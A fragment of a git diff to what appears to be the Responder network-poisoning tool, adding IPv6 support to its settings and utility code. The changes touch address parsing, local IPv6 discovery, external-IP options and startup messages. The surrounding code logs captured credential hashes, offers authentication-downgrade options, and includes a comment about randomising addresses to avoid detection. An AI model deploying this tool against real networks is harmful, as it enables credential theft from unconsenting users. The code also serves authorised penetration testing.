self.Interface == "ALL": self.IP_aton = socket.inet_aton(self.OURIP) else: self.IP_aton = socket.inet_aton(self.Bind_To) - + #IPV6 + if self.Interface == "ALL": + if self.OURIP != None and utils.IsIPv6IP(self.OURIP): + self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP) + else: + self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6) + + #External IP if self.ExternalIP: + if utils.IsIPv6IP(self.ExternalIP): + sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1)) + self.ExternalIPAton = socket.inet_aton(self.ExternalIP) self.ExternalResponderIP = utils.RespondWithIP() else: self.ExternalResponderIP = self.Bind_To + + #External IPv6 + if self.ExternalIP6: + self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6) + self.ExternalResponderIP6 = utils.RespondWithIP6() + else: + self.ExternalResponderIP6 = self.Bind_To6 self.Os_version = sys.platform @@ -207,6 +224,7 @@ class Settings: #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) + self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DomainName = self.Domain + '.LOCAL' diff --git a/utils.py b/utils.py index 2da16be..d82bdf5 100755 --- a/utils.py +++ b/utils.py @@ -24,8 +24,24 @@ import settings import datetime import codecs import struct +import random +try: + import netifaces +except: + sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"') + from calendar import timegm +def if_nametoindex2(name): + if settings.Config.PY2OR3 == "PY2": + import ctypes + import ctypes.util + libc = ctypes.CDLL(ctypes.util.find_library('c')) + ret = libc.if_nametoindex(name) + return ret + else: + return socket.if_nametoindex(settings.Config.Interface) + def RandomChallenge(): if settings.Config.PY2OR3 == "PY3": if settings.Config.NumChal == "random": @@ -128,17 +144,30 @@ def RespondWithIPAton(): else: return settings.Config.IP_aton.decode('latin-1') -def RespondWithIP(): +def RespondWithIPPton(): if settings.Config.PY2OR3 == "PY2": - if settings.Config.ExternalIP: - return settings.Config.ExternalIP + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6Pton else: - return settings.Config.Bind_To + return settings.Config.IP_Pton6 else: - if settings.Config.ExternalIP: - return settings.Config.ExternalIP + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6Pton.decode('latin-1') else: - return settings.Config.Bind_To + return settings.Config.IP_Pton6.decode('latin-1') + +def RespondWithIP(): + if settings.Config.ExternalIP: + return settings.Config.ExternalIP + else: + return settings.Config.Bind_To + +def RespondWithIP6(): + if settings.Config.ExternalIP6: + return settings.Config.ExternalIP6 + else: + return settings.Config.Bind_To6 + def OsInterfaceIsSupported(): if settings.Config.Interface != "Not set": @@ -148,6 +177,16 @@ def OsInterfaceIsSupported(): def IsOsX(): return sys.platform == "darwin" +def IsIPv6IP(IP): + if IP == None: + return False + regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))" + ret = re.search(regex, IP) + if ret: + return True + else: + return False + def FindLocalIP(Iface, OURIP): if Iface == 'ALL': return '0.0.0.0' @@ -155,6 +194,19 @@ def FindLocalIP(Iface, OURIP): try: if IsOsX(): return OURIP + + elif IsIPv6IP(OURIP): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + return ret + + + elif IsIPv6IP(OURIP) == False and OURIP != None: + return OURIP + elif OURIP == None: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8')) @@ -162,11 +214,45 @@ def FindLocalIP(Iface, OURIP): ret = s.getsockname()[0] s.close() return ret - return OURIP + except socket.error: print(color("[!] Error: %s: Interface not found" % Iface, 1)) sys.exit(-1) + +def FindLocalIP6(Iface, OURIP): + if Iface == 'ALL': + return '::' + + try: + + if IsIPv6IP(OURIP) == False: + + try: + #Let's make it random so we don't get spotted easily. + randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7))) + s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM) + s.connect((randIP+':80', 1)) + IP = s.getsockname()[0] + print('IP is: %s'%IP) + return IP + except: + try: + #Try harder; Let's get the local link addr + IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, "")) + return IP + except: + IP = '::1' + print("[+] You don't have an IPv6 address assigned.") + return IP + + else: + return OURIP + + except socket.error: + print(color("[!] Error: %s: Interface not found" % Iface, 1)) + sys.exit(-1) + # Function used to write captured hashs to a file. def WriteData(outfile, data, user): logging.info("[*] Captured Hash: %s" % data) @@ -336,14 +422,20 @@ def SaveDHCPToDb(result): cursor.close() def Parse_IPV6_Addr(data): - if data[len(data)-4:len(data)][1] ==b'\x1c': - return False + if data[len(data)-4:len(data)] == b'\x00\x1c\x00\x01': + return 'IPv6' elif data[len(data)-4:len(data)] == b'\x00\x01\x00\x01': return True elif data[len(data)-4:len(data)] == b'\x00\xff\x00\x01': return True return False +def IsIPv6(data): + if "::ffff:" in data: + return False + else: + return True + def Decode_Name(nbname): #From http://code.google.com/p/dpkt/ with author's permission. try: from string import printable @@ -435,14 +527,18 @@ def StartupMessage(): print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) - print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) print('') print(color("[+] ", 2, 1) + "Generic Options:") print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1)) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1)) + print(' %-27s' % "Responder IPv6" + color('[%s]' % settings.Config.Bind_To6, 5, 1)) + if settings.Config.ExternalIP: + print(' %-27s' % "Responder external IP" + color('[%s]' % settings.Config.ExternalIP, 5, 1)) + if settings.Config.ExternalIP6: + print(' %-27s' % "Responder external IPv6" + color('[%s]' % settings.Config.ExternalIP6, 5, 1)) + print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1)) - if settings.Config.Upstream_Proxy: print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))